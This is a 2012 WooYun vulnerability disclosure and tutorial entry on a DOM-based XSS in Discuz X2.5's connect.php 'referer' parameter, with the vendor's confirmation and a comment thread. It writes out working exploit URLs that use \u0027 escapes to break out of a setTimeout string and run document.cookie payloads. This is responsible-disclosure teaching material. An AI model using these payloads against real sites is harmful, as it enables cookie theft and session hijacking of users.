漏洞概要 关注数(47) 关注此漏洞

缺陷编号: WooYun-2012-16437

漏洞标题: [腾讯实例教程] 那些年我们一起学XSS - 13. Dom Xss实例 [Discuz X2.5]

相关厂商: 腾讯

漏洞作者: 心伤的瘦子

提交时间: 2012-12-24 16:00

公开时间: 2013-02-07 16:01

漏洞类型: xss跨站脚本攻击

危害等级: 低

自评Rank: 5

漏洞状态: 厂商已经确认

Tags标签: 反射型xss xss利用技巧 Dom+xss

10人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-24: 细节已通知厂商并且等待厂商处理中
2012-12-24: 厂商已经确认,细节仅向厂商公开
2013-01-03: 细节向核心白帽子及相关领域专家公开
2013-01-13: 细节向普通白帽子公开
2013-01-23: 细节向实习白帽子公开
2013-02-07: 细节向公众公开

简要描述:

我们教程的DOM XSS就到这里了。最后再给大家送上一个实例。希望大家能够体会到:XSS的上下文非常重要,如何结合上下文,利用未过滤字符,合理的构造,才是成功的关键。

哎,近几天相信别人有世界末日,跑到一个方舟里避难去了。结果3天过后,我发现世界还是如此的精彩,如此的辉煌,我就又出来了。咱们继续。

这年头,码字不容易,求月票。

详细说明:

1. 我们直接看实例点。



http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



2. 可以看到我们的aaaaaaaaaa在源代码里有2处输出。



picture\4_62.jpg





3. 看第2处,我们需要用双引号闭合,但是显然dz不会给我们这么明显的机会,被拦截了。



picture\7_63.jpg





4. 我们把目光放在第一处,这一处很特殊,位于setTimeout函数的第一个参数里,setTimeout的第一个函数会将字符串作为脚本来执行。



我们把这一部分代码提取出来。



<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 2000);</script>





我们首先能想到的是闭合掉 单引号, 但是这里单引号已经被过滤了。



picture\10_64.jpg





5. 那么是不是就没有办法了呢?我们可以看到setTimeout的第一个参数是字符串;我们前面的教程里说过一次,JS字符串中,字符还可以表示为unicode的形式。即:单引号还可以表示为\u0027或\x27。带着这个想法,我们可以试试\有没有被过滤。



幸运的是,这里还真没过滤 \



picture\13_65.jpg





6. 接着我们就是构造代码了。



首先写好代码。



<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a';alert(document.cookie);a='';", 2000);</script>





将里面的引号变为\u0027



<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027;alert(document.cookie);a=\u0027';", 2000);</script>





代入到URL里。



http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);a=\u0027&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802





可以看到弹出了cookies。



picture\16_qq123.png





7. 其实这里存在一个问题。 这段JS代码里,第一句是location.href="某个地址"; 上面我们所演示的,是一个alert,暂停了location.href的发生。



如果我们把 alert(document.cookie); 换成插入某个JS文件的脚本代码,就会出现问题。



即:JS文件还没来得及加载,location.href="某个地址"; 这句就会被执行,从而跳转到另外一个页面了,继而导致失效。



8. 所以这里,我们有必要改进下执行JS的办法。如下,



我们可以直接让代码变成执行 location.href="javascript:alert(document.cookie)";



location.href='原来的字符串'.替换(所有字符,"新的字符");



<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 2000);</script>





同上,替换单引号,加号什么的。



<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 2000);</script>





最后利用代码。



http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802





可以看到,效果一样,这次就不会发生跳转从而导致加载JS失败咯。



picture\19_qq345.png





9. 可以看到,这个实例,和前面DOM XSS入门时的例子其实本质上是一样的,不过输出最终进入的函数或者javascript语句不一样。

漏洞证明:

见详细说明

修复方案:

过滤掉 \

版权声明:转载请注明来源 心伤的瘦子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-12-24 16:48

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评论

  1. 2012-12-24 16:04 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    传说中的沙发~

  2. 2012-12-24 16:10 | xsser (核心白帽子 | Rank:249 漏洞数:17 | Live free or Die!)
    0

    - - || 这瘦子抢这个月的礼物啊

  3. 2012-12-24 16:11 | 小胖胖要减肥 ( 普通白帽子 | Rank:494 漏洞数:52 )
    0

    @xsser 说好的关注胖子瘦子功能呢

  4. 2012-12-24 16:13 | xsser (核心白帽子 | Rank:249 漏洞数:17 | Live free or Die!)
    0

    @小胖胖要减肥 这周内要是没添加上关注胖子和瘦子功能我就在冬天的北京裸奔 我狠话放到这儿了

  5. 2012-12-24 16:17 | 小胖胖要减肥 ( 普通白帽子 | Rank:494 漏洞数:52 )
    0

    @xsser 不用啊 你只要给我点wb就好了或者来上海搞次基友会啊 或说不是se55i0n也很积极么

  6. 2012-12-24 16:25 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @xsser @小胖胖要减肥 我不闹了,好好学习~

  7. 2012-12-24 16:32 | 小胖胖要减肥 ( 普通白帽子 | Rank:494 漏洞数:52 )
    0

    @se55i0n 带上我啊 我也很积极的

  8. 2012-12-24 16:36 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @小胖胖要减肥 重点关注剑心会否能在北京裸奔呀~

  9. 2012-12-24 16:40 | 小胖胖要减肥 ( 普通白帽子 | Rank:494 漏洞数:52 )
    0

    @se55i0n 你可以找小mm或诱惑他

  10. 2012-12-24 16:40 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @小胖胖要减肥 胖子你rank值有点"那个"、呵呵、才发现~

  11. 2012-12-24 16:41 | 小胖胖要减肥 ( 普通白帽子 | Rank:494 漏洞数:52 )
    0

    @se55i0n 有点什么 我是刚入门啊 哪能和你们黑阔比

  12. 2012-12-24 16:42 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @小胖胖要减肥 大牛们没说话,就我个菜鸟和你互动呢,那数在四川是骂人的~哈哈

  13. 2012-12-24 16:45 | gainover (核心白帽子 | Rank:1170 漏洞数:64 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
    0

    前几天有一男一女两个陌生人在我的微博评论里聊了起来,聊得狠投缘,一段爱情也许会从我的一条微博开始的感觉真的很奇妙。在男孩向女孩要联系方式的时候,我删了微博。

  14. 2012-12-24 16:46 | gainover (核心白帽子 | Rank:1170 漏洞数:64 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
    0

    @小胖胖要减肥 @se55i0n 看到你们2个的评论。。我就想到了上面这条微博。

  15. 2012-12-24 16:46 | 小胖胖要减肥 ( 普通白帽子 | Rank:494 漏洞数:52 )
    0

    @se55i0n 你骂我干嘛 你自己也刷的 哈哈

  16. 2012-12-24 16:47 | 小胖胖要减肥 ( 普通白帽子 | Rank:494 漏洞数:52 )
    0

    @gainover 你们都是北京的好基友 我不是啊

  17. 2012-12-24 16:49 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @小胖胖要减肥 胖哥,我可没骂你哈~只是告诉你这个事情而已~哈哈

  18. 2012-12-24 16:50 | 心伤的瘦子 ( 普通白帽子 | Rank:147 漏洞数:21 | 嘿,我崇拜你们来了)
    0

    @gainover 哈哈。这个笑话不错。

  19. 2012-12-24 16:51 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @gainover 你是真的坏淫呀~

  20. 2012-12-24 16:51 | 小胖胖要减肥 ( 普通白帽子 | Rank:494 漏洞数:52 )
    0

    @gainover @se55i0n @心伤的瘦子 你们几个北京基友继续 上海的就没有基友

  21. 2012-12-24 16:53 | gainover (核心白帽子 | Rank:1170 漏洞数:64 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
    0

    @se55i0n 我只是在新浪微博看到的段子而已。

  22. 2012-12-24 16:54 | se55i0n ( 普通白帽子 | Rank:1156 漏洞数:129 | 我是一名白帽子,简称小白!)
    0

    @小胖胖要减肥 我会告诉你G牛是四川的么~

  23. 2012-12-24 17:01 | only_guest (核心白帽子 | Rank:737 漏洞数:71 | PKAV技术宅社区-专心做技术.)
    0

    威武我大四川!

  24. 2012-12-24 19:27 | d3pT1 ( 实习白帽子 | Rank:1 漏洞数:1 | 人法地,地法天,天法道,道法自然。)
    0

    坐等续集

  25. 2012-12-24 19:35 | 小黑要低调 ( 实习白帽子 | Rank:47 漏洞数:4 | 小黑一枚)
    0

    @gainover @心伤的瘦子 二哥,你在自娱自乐么,强烈怀疑是一个人

  26. 2012-12-24 19:44 | px1624 ( 普通白帽子 | Rank:438 漏洞数:57 | 电脑业余爱好者,菜鸟一个,是来交流学习的...)
    0

    一个都看不到。。唉。。

  27. 2013-02-05 00:00 | bombless ( 实习白帽子 | Rank:5 漏洞数:1 | 熟悉x86汇编、C语言及系统编程。实战经验较...)
    0

    今晚看到这个连载,实在很精彩,登录上来看下〜洞主我崇拜你啊〜 开年之后想试试找百度的洞洞〜

  28. 2013-02-16 22:04 | mole3o ( 实习白帽子 | Rank:10 漏洞数:2 | 学生一枚,青春向上的白帽子。)
    0

    思考人生。!